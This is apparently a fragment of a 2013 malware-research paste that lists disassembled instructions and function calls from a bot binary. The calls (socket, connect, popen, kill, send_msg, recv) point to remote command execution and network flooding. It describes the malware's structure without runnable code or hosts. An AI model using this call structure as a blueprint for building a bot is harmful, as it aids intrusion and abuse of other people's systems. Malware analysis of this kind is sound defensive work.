- 0804a971: jne 0x0804a963 <__do_global_ctors_aux+0x13>
- 0804a973: add $0x4,%esp
- 0804a976: pop %ebx
- 0804a977: pop %ebp
- 0804a978: ret
- 0804a979: nop
- 0804a97a: nop
- 0804a97b: nop
- // List of calls:
- 0x08048d33: call 0x08048d40 <_start1>
- 0x08048da1: call 0x08048ac4 <atexit@plt>
- 0x08048dad: call 0x08048ac4 <atexit@plt>
- 0x08048db2: call 0x08048a00 <_init>
- 0x08048dc2: call 0x0804a400 <main>
- 0x08048dca: call 0x08048cb4 <exit@plt>
- 0x08048dcf: call 0x08048b04 <_init_tls@plt>
- 0x08048e8b: call 0x08048e40 <strwildmatch>
- 0x08048eae: call 0x08048e40 <strwildmatch>
- 0x08048eef: call 0x08048e40 <strwildmatch>
- 0x08048f1c: call 0x08048f80 <__sbtoupper>
- 0x08048f2f: call 0x08048f80 <__sbtoupper>
- 0x08048f4b: call 0x08048e40 <strwildmatch>
- 0x08048fe1: call 0x08048c74 <vsprintf@plt>
- 0x08048fed: call 0x08048b84 <strlen@plt>
- 0x08049004: call 0x08048cf4 <write@plt>
- 0x08049016: call 0x08048a84 <fork@plt>
- 0x0804904a: call 0x08048a24 <malloc@plt>
- 0x080490a8: call 0x08048d04 <free@plt>
- 0x080490d5: call 0x08048b84 <strlen@plt>
- 0x080490ec: call 0x08048b84 <strlen@plt>
- 0x08049107: call 0x08048b84 <strlen@plt>
- 0x08049138: call 0x08048a24 <malloc@plt>
- 0x08049158: call 0x08048c94 <memset@plt>
- 0x0804916e: call 0x08048b14 <rand@plt>
- 0x080491f3: call 0x080491c0 <pow>
- 0x080492b0: call 0x08049010 <mfork>
- 0x080492d8: call 0x08048fc0 <send_msg>
- 0x080492e4: call 0x08048cb4 <exit@plt>
- 0x08049300: call 0x08048ae4 <socket@plt>
- 0x08049323: call 0x08048fc0 <send_msg>
- 0x0804932f: call 0x08048cb4 <exit@plt>
- 0x0804934f: call 0x08048ba4 <strncmp@plt>
- 0x08049370: call 0x08048ca4 <strcpy@plt>
- 0x0804938c: call 0x08048ca4 <strcpy@plt>
- 0x080493aa: call 0x08048b84 <strlen@plt>
- 0x080493e0: call 0x08048a94 <__inet_addr@plt>
- 0x080493f7: call 0x08048c14 <gethostbyname@plt>
- 0x0804941a: call 0x08048fc0 <send_msg>
- 0x08049426: call 0x08048cb4 <exit@plt>
- 0x0804944c: call 0x08048c64 <memcpy@plt>
- 0x08049472: call 0x08048c94 <memset@plt>
- 0x0804948c: call 0x08048af4 <connect@plt>
- 0x080494aa: call 0x08048fc0 <send_msg>
- 0x080494b6: call 0x08048cb4 <exit@plt>
- 0x080494e7: call 0x08048fc0 <send_msg>
- 0x08049503: call 0x08048fc0 <send_msg>
- 0x0804951b: call 0x08048ce4 <fopen@plt>
- 0x08049543: call 0x08048bd4 <recv@plt>
- 0x08049592: call 0x08048ba4 <strncmp@plt>
- 0x080495b9: call 0x08048a64 <fputc@plt>
- 0x08049601: call 0x08048fc0 <send_msg>
- 0x08049626: call 0x08048bd4 <recv@plt>
- 0x08049669: call 0x08048a64 <fputc@plt>
- 0x08049682: call 0x08048b24 <fclose@plt>
- 0x0804968d: call 0x08048b54 <close@plt>
- 0x08049699: call 0x08048cb4 <exit@plt>
- 0x080496d1: call 0x08048fc0 <send_msg>
- 0x080496e3: call 0x08048b84 <strlen@plt>
- 0x08049702: call 0x08048fc0 <send_msg>
- 0x08049723: call 0x08048fc0 <send_msg>
- 0x0804973c: call 0x08048a94 <__inet_addr@plt>
- 0x08049756: call 0x08048c14 <gethostbyname@plt>
- 0x08049782: call 0x08048fc0 <send_msg>
- 0x0804978e: call 0x08048cb4 <exit@plt>
- 0x080497b2: call 0x08048c44 <bcopy@plt>
- 0x080497e1: call 0x08048fc0 <send_msg>
- 0x080497ed: call 0x08048cb4 <exit@plt>
- 0x080497fd: call 0x08048b34 <strdup@plt>
- 0x08049817: call 0x08048b54 <close@plt>
- 0x08049835: call 0x08048cc4 <kill@plt>
- 0x0804984c: call 0x08049010 <mfork>
- 0x0804986e: call 0x08048fc0 <send_msg>
- 0x08049888: call 0x08048fc0 <send_msg>
- 0x080498a2: call 0x08048fc0 <send_msg>
- 0x080498bc: call 0x08048fc0 <send_msg>
- 0x080498d6: call 0x08048fc0 <send_msg>
- 0x080498f0: call 0x08048fc0 <send_msg>
- 0x0804990a: call 0x08048fc0 <send_msg>
- 0x08049916: call 0x08048cb4 <exit@plt>
- 0x08049940: call 0x08048b84 <strlen@plt>
- 0x08049987: call 0x08048b84 <strlen@plt>
- 0x080499c3: call 0x08048bf4 <strcasecmp@plt>
- 0x080499ea: call 0x08048c94 <memset@plt>
- 0x08049a10: call 0x08048b84 <strlen@plt>
- 0x08049a3e: call 0x08048e40 <strwildmatch>
- 0x08049a70: call 0x08048ba4 <strncmp@plt>
- 0x08049a91: call 0x08048fc0 <send_msg>
- 0x08049aac: call 0x08048ba4 <strncmp@plt>
- 0x08049abf: call 0x08049010 <mfork>
- 0x08049ae5: call 0x08048c94 <memset@plt>
- 0x08049b05: call 0x08048b44 <sprintf@plt>
- 0x08049b1b: call 0x08048b74 <popen@plt>
- 0x08049b3e: call 0x08048c94 <memset@plt>
- 0x08049b5b: call 0x08048ab4 <fgets@plt>
- 0x08049b82: call 0x08048fc0 <send_msg>
- 0x08049b8e: call 0x08048c54 <sleep@plt>
- 0x08049bb8: call 0x08048bc4 <feof@plt>
- 0x08049bd9: call 0x08048a54 <pclose@plt>
- 0x08049be5: call 0x08048cb4 <exit@plt>
- 0x08049bf0: call 0x08048b84 <strlen@plt>
- 0x08049c5c: call 0x08048b84 <strlen@plt>
- 0x08049cbf: call 0x08048b84 <strlen@plt>
- 0x08049ce1: call 0x08048a24 <malloc@plt>
- 0x08049d02: call 0x08048c24 <strncpy@plt>
- 0x08049d4f: call 0x08048bf4 <strcasecmp@plt>
- 0x08049d95: call 0x08048d04 <free@plt>
- 0x08049ded: call 0x08048fc0 <send_msg>
- 0x08049e13: call 0x08048fc0 <send_msg>
- 0x08049e2f: call 0x08048fc0 <send_msg>
- 0x08049e5b: call 0x08048fc0 <send_msg>
- 0x08049e9e: call 0x08048b84 <strlen@plt>
- 0x08049ebe: call 0x08048b84 <strlen@plt>
- 0x08049eeb: call 0x08048b84 <strlen@plt>
- 0x08049f19: call 0x08048bf4 <strcasecmp@plt>
- 0x08049f5a: call 0x08048b84 <strlen@plt>
- 0x08049f7a: call 0x08048b84 <strlen@plt>
- 0x08049fa7: call 0x08048b84 <strlen@plt>
- 0x08049fcc: call 0x08048a94 <__inet_addr@plt>
- 0x08049fe2: call 0x08048c14 <gethostbyname@plt>
- 0x0804a005: call 0x08048fc0 <send_msg>
- 0x0804a02a: call 0x08048c64 <memcpy@plt>
- 0x0804a08e: call 0x08048d04 <free@plt>
- 0x0804a093: call 0x08049120 <makestring>
- 0x0804a0bd: call 0x08048b84 <strlen@plt>
- 0x0804a0eb: call 0x08048bf4 <strcasecmp@plt>
- 0x0804a113: call 0x08048d04 <free@plt>
- 0x0804a11e: call 0x08048b34 <strdup@plt>
- 0x0804a150: call 0x08048b14 <rand@plt>
- 0x0804a194: call 0x08048ae4 <socket@plt>
- 0x0804a1af: call 0x08048a94 <__inet_addr@plt>
- 0x0804a1c0: call 0x08048a94 <__inet_addr@plt>
- 0x0804a1d2: call 0x08048c14 <gethostbyname@plt>
- 0x0804a1f2: call 0x08048b54 <close@plt>
- 0x0804a21d: call 0x08048c44 <bcopy@plt>
- 0x0804a22c: call 0x08048a94 <__inet_addr@plt>
- 0x0804a255: call 0x08048c04 <ioctl@plt>
- 0x0804a261: call 0x08048be4 <time@plt>
- 0x0804a26e: call 0x08048c34 <__error@plt>
- 0x0804a291: call 0x08048af4 <connect@plt>
- 0x0804a29a: call 0x08048c34 <__error@plt>
- 0x0804a2d2: call 0x08048b94 <setsockopt@plt>
- 0x0804a2ff: call 0x08048b94 <setsockopt@plt>
- 0x0804a32c: call 0x08048b94 <setsockopt@plt>
- 0x0804a333: call 0x08048c34 <__error@plt>
- 0x0804a33f: call 0x08048c34 <__error@plt>
- 0x0804a352: call 0x08048c54 <sleep@plt>
- 0x0804a35e: call 0x08048be4 <time@plt>
- 0x0804a381: call 0x08048b54 <close@plt>
- 0x0804a3ad: call 0x08048a44 <open@plt>
- 0x0804a3c3: call 0x08048cd4 <flock@plt>
- 0x0804a3d1: call 0x08048c34 <__error@plt>
- 0x0804a3e4: call 0x08048aa4 <printf@plt>
- 0x0804a3f0: call 0x08048cb4 <exit@plt>
- 0x0804a41b: call 0x0804a390 <lockfile>
- 0x0804a420: call 0x08048a84 <fork@plt>
- 0x0804a430: call 0x08048cb4 <exit@plt>
- 0x0804a443: call 0x08048b84 <strlen@plt>
- 0x0804a464: call 0x08048c24 <strncpy@plt>
- 0x0804a486: call 0x08048b84 <strlen@plt>
- 0x0804a4ad: call 0x08048c94 <memset@plt>
- 0x0804a4ca: call 0x08048be4 <time@plt>
- 0x0804a4d1: call 0x08048c84 <getpid@plt>
- 0x0804a4d8: call 0x08048a34 <getppid@plt>
- 0x0804a4e3: call 0x08048a74 <srand@plt>
- 0x0804a4e8: call 0x08049120 <makestring>
- 0x0804a4f2: call 0x08049120 <makestring>
- 0x0804a524: call 0x0804a130 <con>
- 0x0804a557: call 0x08048fc0 <send_msg>
- 0x0804a5f3: call 0x08048bb4 <select@plt>
- 0x0804a631: call 0x08048b64 <waitpid@plt>
- 0x0804a6ae: call 0x08048a24 <malloc@plt>
- 0x0804a6f4: call 0x08048d04 <free@plt>
- 0x0804a75d: call 0x08048bd4 <recv@plt>
- 0x0804a78b: call 0x08048ad4 <strtok@plt>
- 0x0804a79e: call 0x080490c0 <filter>
- 0x0804a7c3: call 0x08048b84 <strlen@plt>
- 0x0804a7f5: call 0x08048ca4 <strcpy@plt>
- 0x0804a80d: call 0x08048ca4 <strcpy@plt>
- 0x0804a82d: call 0x08048c64 <memcpy@plt>
- 0x0804a848: call 0x08048b84 <strlen@plt>
- 0x0804a877: call 0x08048ca4 <strcpy@plt>
- 0x0804a88f: call 0x08048ca4 <strcpy@plt>
- 0x0804a8b4: call 0x08048bf4 <strcasecmp@plt>
- 0x0804a906: call 0x08048bf4 <strcasecmp@plt>
- 0x0804a922: call 0x08048ad4 <strtok@plt>
- ---
- #MalwareMustDie!
- @unixfreaxjp | Thu May 30 20:44:40 JST 2013
Add Comment
Please, Sign In to add comment